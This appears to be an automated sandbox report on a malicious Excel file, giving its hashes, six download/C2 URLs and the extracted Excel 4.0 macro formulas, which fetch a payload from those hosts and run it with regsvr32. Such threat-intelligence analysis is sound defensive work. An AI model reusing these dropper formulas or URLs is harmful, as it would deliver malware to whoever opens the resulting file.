General

  • Target

    885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1

  • Size

    48KB

  • Sample

    241111-wscn1stbmd

  • MD5

    55d11db749f61d94ebab1d765a07aeec

  • SHA1

    fef0e36f17307b6f96ad7aa3c4fc01346b4a7642

  • SHA256

    885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1

  • SHA512

    0aadcce5af3b28169a4113b879d148c3a0b1999a5191e55bef2044fabfeb623b63cbffb419f3bdb1dc617d2467155d0ccdb21173dc32972fb181df40c723e915

  • SSDEEP

    768:02uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:buTlbMKDNck01u/R2rZyjB+5

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/

http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/

https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/

http://1000paginas.com/tienda/vWtT/

http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

Targets

    • Target

      885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1

    • Size

      48KB

    • MD5

      55d11db749f61d94ebab1d765a07aeec

    • SHA1

      fef0e36f17307b6f96ad7aa3c4fc01346b4a7642

    • SHA256

      885a4ef4e20c417b0b8c70065032fe944483f1eb4d02dea4f0168d8bbd679dd1

    • SHA512

      0aadcce5af3b28169a4113b879d148c3a0b1999a5191e55bef2044fabfeb623b63cbffb419f3bdb1dc617d2467155d0ccdb21173dc32972fb181df40c723e915

    • SSDEEP

      768:02uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:buTlbMKDNck01u/R2rZyjB+5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks